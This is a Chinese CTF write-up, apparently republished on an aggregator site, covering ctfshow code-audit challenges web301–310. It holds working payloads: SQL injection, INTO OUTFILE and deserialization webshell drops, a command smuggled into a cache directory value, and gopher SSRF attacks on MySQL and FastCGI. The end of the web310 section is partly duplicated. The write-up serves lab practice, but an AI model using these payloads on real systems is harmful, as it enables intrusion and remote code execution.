ctfshow 代码审计专题

news2025/7/13 4:52:51

文章目录

  • web 301
  • web 302
  • web 303
  • web 304
  • web 305
  • web 306
  • web 307
  • web 308
  • web 309
  • web 310

web 301

简单看一下,在checklogin.php中发现了sql语句,且没过滤,直接sql注入。

–form测试,–batch绕过waf.–dump列出所有库和表。

image-20230220180954182

得到账号密码,登录即可得到flag。

image-20230220181548154

web 302

多了个

image-20230220182732476

但判断是在sql语句之后,可以用into outfile写入shell木马。

payload:

userid=1 ' union select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/feng.php"%23&userpwd=123

image-20230220182706356

web 303

上一题的漏洞修复了。

image-20230220215541913

在dptadd.php中发现新的注入点。

image-20230220215712962

而且参数都可控,直接注入即可。

payload:

dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")%23

image-20230220220445545

dpt_name=1',sds_address =(select flag from sds_fl9g)%23

web 304

和上一题一样,就改了一下表名。

image-20230220220823233

payload:

dpt_name=1',sds_address =(select flag from sds_flaag)%23

image-20230220220903643

web 305

发现反序列化点。

image-20230220220957523

class.php中有写入文件操作。

image-20230220221033419

直接打反序列化就好。

exp:

<?php
class user{
	public $username;
	public $password;
	public function __construct(){
		$this->username="feng3.php";
		$this->password='<?php eval($_POST[1]);?>';
	}
}
echo urlencode(serialize(new user));

找了半天没看到flag,猜测是在数据库里,连接蚁剑看一下。

image-20230220222238979

web 306

发现无法登录成功,然后在login.php中包含了class.php,但无法直接到达close方法。最后在dao.php中发现destruct可以指向close。

image-20230221163803868

从index.php直接打。

exp:

<?php

class dao{
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}
}
class log{
	public $title;
	public $info;
	public function __construct(){
		$this->title='feng.php';
		$this->info='<?php eval($_POST[1]);?>';
	}

}
echo base64_encode(serialize(new dao()));

image-20230221164552971

直接命令执行得到flag。

image-20230221164635304

web 307

不是很难,首先找危险函数,因方法名称修改,上一题中的file_put_contents不能继续使用,在controller/service/dao/dao.php中发现shell_exec函数,cache_dir属性可控,可以利用,使其前后闭合,然后命令执行即可。

image-20230120024025536

在controller/logout.php中发现直接指向clearCache方法,并且存在发序列化函数。

image-20230120024154704

exp:

<?php
class config{
	public $cache_dir;
	public function __construct(){
		$this->cache_dir='123/*;echo `cat ../flag.php` > /var/www/html/1;';
	}

}
class dao{
	private $config;
	private $conn;
	public function __construct(){
		$this->config=new config();
	}
}
$a = serialize(new dao);
echo urlencode(base64_encode($a));

web 308

发现存在ssrf利用点,并且mysql无密码,题目提示需要拿到shell,所以打mysql然后传马。

image-20230221165101460

利用gopherus生成,地址https://github.com/tarunkant/Gopherus

image-20230221170321012

exp:

<?php

class config{
	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%65%6e%67%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
	}
}
echo base64_encode(serialize(new dao()));

然后修改Cookie访问index.php,木马就会上传。

image-20230221170457166

image-20230221170541822

web 309

mysql有密码了,不能利用,nginx环境,先读取配置文件。

exp:

<?php

class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
	}
}
echo base64_encode(serialize(new dao()));
daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }

可以利用fastcgi。

image-20230221171723099

exp:

<?php

class config{
	public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
	}
}
echo base64_encode(serialize(new dao()));

直接传进去就可以得到flag。

image-20230221171755235

web 310

继续读取配置文件。

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

发现新端口4476,flag在其中。

<?php

class config{
	public $update_url = '127.0.0.1:4476';
}
class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
	}
}
echo base64_encode(serialize(new dao()));

image-20230221172358371
header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}


发现新端口4476,flag在其中。

```php
<?php

class config{
	public $update_url = '127.0.0.1:4476';
}
class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
	}
}
echo base64_encode(serialize(new dao()));

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/362498.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL数据库————MVCC

MySQL的脏读、幻读、不可重复读 脏读 现在有两个事务在操作table表&#xff0c;事务B修改了id2的name字段为李老四&#xff0c;但是没有提交&#xff0c;事务A查询id2的数据&#xff0c;得到name为李老四&#xff1b;事务B发生回滚&#xff0c;id2的数据的name又变回李四&…

Linux 防火墙配置(iptables和firewalld)

目录 防火墙基本概念 Iptables讲解 Iptables表 Iptables规则链 Iptables控制类型 Iptables命令配置 firewalld讲解 Firewalld区域概念 Firewalld两种配置方法 firewall-cmd命令行基础配置 firewall-config图形化配置 防火墙基本概念 防火墙就是根据系统管理员设定的…

用 tensorflow.js 做了一个动漫分类的功能(二)

前言&#xff1a;前面已经通过采集拿到了图片&#xff0c;并且也手动对图片做了标注。接下来就要通过 Tensorflow.js 基于 mobileNet 训练模型&#xff0c;最后就可以实现在采集中对图片进行自动分类了。这种功能在应用场景里就比较多了&#xff0c;比如图标素材站点&#xff0…

java集成redis简单存储

这里主要将数据存redis并设置过期时间、通过key删除redis、通过key更新redis&#xff08;续期&#xff09; 将数据存redis并设置过期时间 引入redis依赖 import org.springframework.data.redis.core.StringRedisTemplate;AutowiredStringRedisTemplate stringRedisTemplate…

【基础教程】Appium自动化测试,太详细了!

Appium简介Appium是一款开源的Appium自动化工具, 基于Webdriver协议, 主要有以下3个特点:全能: 支持iOS/Andorid/H5/混合App/WinApp通用: 支持Win/Linux/Mac, 支持Java/Python/Ruby/Js/PHP等各种语言开源: 免费App自动化测试工具对比iOS官方:Uiautomation/XCUITest: 白盒, UI测…

(二十)、完成个人中心页面的数据统计+设置详情页点赞用户的头像组【uniapp+uinicloud多用户社区博客实战项目(完整开发文档-从零到完整项目)】

1&#xff0c;个人中心页面的数据统计 数据统计包括两项内容&#xff1a;1.当前登录用户的点赞总数量。2.当前登录用户发布文章的总数量 1.1&#xff0c;在self页面data中定义对象 data() {return {totalObj:{artNum:0,likeNum:0}};},1.2&#xff0c;获取总数量的方法&#x…

多线程(初识线程)

线程的诞生 了解进程存在的意义 实现了并发编程的效果&#xff08;并发编程&#xff1a;有可能是并发执行&#xff0c;也有可能是并行执行&#xff09; 并发编程的目的&#xff1a;充分利用上多核CPU资源&#xff0c;提升运行效率 了解进程创建和销毁的过程带来的问题 进程是…

系列二、函数

一、定义 函数 是指一段可以直接被另一段程序调用的程序或代码。 也就意味着&#xff0c;这一段程序或代码MySQL中 已经给我们提供了&#xff0c;我们要做的就是在合适的业务场景调用对应的函数完成对应的业务需求即可。二、字符串函数 2.1、案例 2.1.1、concat 字符串拼接 s…

js中?.、??的具体用法

1、?. &#xff08;可选链运算符&#xff09; 在javascript中如果一个值为null、undefined&#xff0c;直接访问下面的属性&#xff0c;会报 Uncaught TypeError: Cannot read properties of undefined 异常错误。而在真实的项目中是会出现这种情况&#xff0c;有这个值就读这…

泛型擦除(Generic erase)(内含教学视频+源代码)

泛型擦除&#xff08;Generic erase&#xff09;&#xff08;内含教学视频源代码&#xff09; 教学视频源代码下载链接地址&#xff1a;https://download.csdn.net/download/weixin_46411355/87473560 源代码中使用的泛型&#xff0c;在经过编辑后&#xff0c;代码中就看不到泛…

PX4之飞行控制框架

PX4的飞行控制程序通过模块来实现&#xff0c;与飞控相关的模块主要有commander&#xff0c;navigator&#xff0c;pos_control&#xff0c;att_control这几个&#xff0c;分别可以在src/modules目录中找到。 commander - 指令/事件处理模块&#xff0c;处理指令、遥控器输入和…

新C++(9):谈谈,翻转那些事儿

"相信羁绊&#xff0c;相信微光&#xff0c;相信一切无常。"一、AVL树翻转那些事儿(1)什么是AVL树&#xff1f;在计算机科学中&#xff0c;AVL树是最先发明的自平衡二叉查找树。在AVL树中任何节点的两个子树的高度最大差别为1&#xff0c;所以它也被称为高度平衡树。…

网上插画教学哪家质量好,汇总5大插画培训班

网上插画教学哪家质量好&#xff1f;给大家梳理了国内5家专业的插画师培训班&#xff0c;最新五大插画班排行榜&#xff0c;各有优势和特色&#xff01; 一&#xff1a;国内知名插画培训机构排名 1、轻微课&#xff08;五颗星&#xff09; 主打课程有日系插画、游戏原画、古风插…

Tencent OS下逻辑卷(LVM)创建和扩容

测试环境是一个虚拟机&#xff0c;原配置1个虚拟盘。 创建4个虚拟盘&#xff0c;每盘2G并挂载在虚拟主机上&#xff0c;启动虚拟主机开始测试。 LVM英文是Logical Volume Manager&#xff0c;直接翻译为逻辑卷管理。 这种磁盘管理模式比较灵活&#xff0c;在磁盘空间不足的时…

深入浅出C++ ——容器适配器

文章目录一、容器适配器二、deque类简介1. deque的原理2. deque迭代器3. deque的优点和缺陷4. 为什么选择deque作为stack和queue的底层默认容器一、容器适配器 适配器的概念 适配器是STL六大核心组件之一&#xff0c;它是一种设计模式&#xff0c;该种模式是将一个类的接口转换…

大规模 IoT 边缘容器集群管理的几种架构-2-HashiCorp 解决方案 Nomad

前文回顾 大规模 IoT 边缘容器集群管理的几种架构-0-边缘容器及架构简介大规模 IoT 边缘容器集群管理的几种架构-1-RancherK3s &#x1f4da;️Reference: IoT 边缘计算系列文章 HashiCorp 解决方案 - Nomad Docker 简介 Nomad: 一个简单而灵活的调度器和编排器&#xff0c;…

网络工程课(二)

ensp配置vlan 一、配置计算机ip地址和子网掩码 二、配置交换机LSW1 system-view [Huawei]sysname SW1 [SW1]vlan batch 10 20 [SW1]interface Ethernet0/0/1 [SW1-Ethernet0/0/1]port link-type access 将接口设为access接口 [SW1-Ethernet0/0/1]port default vlan 10 [SW1-E…

【MyBatis】源码学习 04 - 从 MapperMethod 简单分析一条 SQL 的映射操作流程

文章目录前言参考目录学习笔记1、测试代码说明2、binding 包的主要功能3、获取 Mapper 接口实例过程4、SQL 语句执行流程4.1、方法调用器4.2、MapperMethod 绑定方法4.2.1、SqlCommand4.2.2、MethodSignature4.3、MapperMethod#execute前言 本文内容对应的是书本第 13 章的内容…

【亲测2022年】网络工程师被问最多的面试笔试题

嗨罗~大家好久不见&#xff0c;主要是薄荷呢主业还是比较繁忙的啦&#xff0c;之前发了一个面试题大家都很喜欢&#xff0c;非常感谢各位大佬对薄荷的喜爱&#xff0c;嘻嘻然后呢~薄荷调研了身边的朋友和同事&#xff0c;发现我们之前去面试&#xff0c;写的面试题有很多共同的…

C++ Effictive 第6章 继承与面向对象设计 笔记

继承意味着"is-a"。如果B继承自A&#xff0c;那么B is-a A。 子类声明与父类函数同名的函数时&#xff0c;父类函数会被遮掩。 使用using Base::func(args...)&#xff1b;父类所有func的重载函数都在子类中被声明。此举下&#xff0c;如果子类函数与父类函数参数也一…